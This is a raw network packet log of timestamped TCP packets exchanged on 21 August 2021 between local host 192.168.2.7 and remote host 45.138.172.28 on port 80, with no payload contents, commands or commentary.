Aug 21, 2021 21:46:32.022546053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022566080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022588968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022610903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022648096 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022658110 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022661924 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022665024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022666931 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022670031 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022672892 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022674084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022675991 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022679090 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022702932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022723913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022749901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022773981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022795916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022819042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022841930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022864103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022885084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022887945 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022905111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022928953 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022933006 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022936106 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022938967 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022941113 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022943974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022945881 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.023004055 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.045981884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.046148062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.046195030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.046255112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.046344995 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.046479940 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.049623013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049655914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049675941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049701929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049724102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049757957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049779892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049803019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049824953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049845934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049868107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049892902 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049926043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049947023 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049967051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.049988985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050009966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050029993 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050050974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050071955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050092936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050113916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050141096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050163031 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050183058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050203085 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050225019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050246000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050266981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050288916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050312042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050337076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050358057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050380945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050403118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050422907 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050443888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050465107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050488949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050506115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050527096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050549030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050570011 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050590038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050611019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050632000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.050699949 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.050748110 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.050755024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.050759077 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.050760984 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.050764084 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.050765991 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.072869062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.072901964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.072925091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.072947025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.073048115 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.073085070 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.077085018 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077131033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077151060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077178001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077202082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077225924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077250957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077274084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077297926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077322006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077344894 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077367067 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077388048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077408075 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077425003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077445030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077466965 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077487946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077513933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077538013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077560902 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077583075 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077605009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077630997 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077651978 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077673912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077701092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077722073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077745914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077769041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077791929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077816010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077840090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077863932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077888012 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077910900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077933073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077935934 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.077955008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.077980042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.078002930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.078027010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.078052044 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.078074932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.078097105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.078116894 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.078139067 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.078191042 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.078305960 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.104657888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104684114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104696989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104710102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104726076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104742050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104758978 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104774952 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104794979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104813099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104829073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104846001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104862928 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104873896 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.104886055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104907990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104918003 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.104931116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104954004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104955912 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.104971886 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.104981899 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.104995012 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105012894 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105025053 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105035067 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105052948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105070114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105083942 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105089903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105110884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105132103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105148077 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105164051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105179071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105180025 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105186939 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105204105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105222940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105228901 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105247021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105267048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105269909 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105289936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105300903 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105313063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105333090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105350018 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105355024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105375051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105389118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105397940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105416059 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105421066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105438948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105456114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105473042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105474949 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105495930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105495930 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105519056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105540991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105559111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105568886 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105580091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105597973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105607033 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105622053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105639935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105644941 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105664015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105668068 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105688095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105714083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105714083 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105739117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105756044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105762959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105782032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105798006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105814934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105815887 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105837107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105840921 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105859995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105881929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105882883 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105906010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105922937 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105938911 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105943918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105964899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.105964899 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.105987072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106004000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106019974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106034994 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.106054068 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106074095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106076002 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.106096983 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106106043 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.106123924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106144905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106154919 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.106168985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106189966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106189966 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.106211901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106228113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106245041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106261969 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106270075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.106277943 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.106287003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106307030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106317043 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.106328964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106348038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106357098 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.106370926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106388092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106405020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106420994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106441021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106460094 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106471062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106487036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106512070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106527090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106542110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106558084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106573105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.106589079 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.107851982 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.117672920 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134251118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134285927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134310007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134335041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134358883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134382010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134403944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134427071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134454012 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134474039 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134478092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134501934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134525061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134550095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134566069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134584904 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134607077 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134632111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134632111 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134656906 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134680033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134680986 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134702921 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134725094 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134727001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134731054 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134754896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134813070 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134814024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134818077 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134833097 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134835958 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134839058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134839058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134855032 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134857893 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134861946 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134862900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134865999 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134880066 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134882927 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134887934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134911060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134911060 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134929895 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134936094 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134960890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.134963989 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.134989023 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135009050 CEST	49738	80	192.168.2.7	45.138.172.28
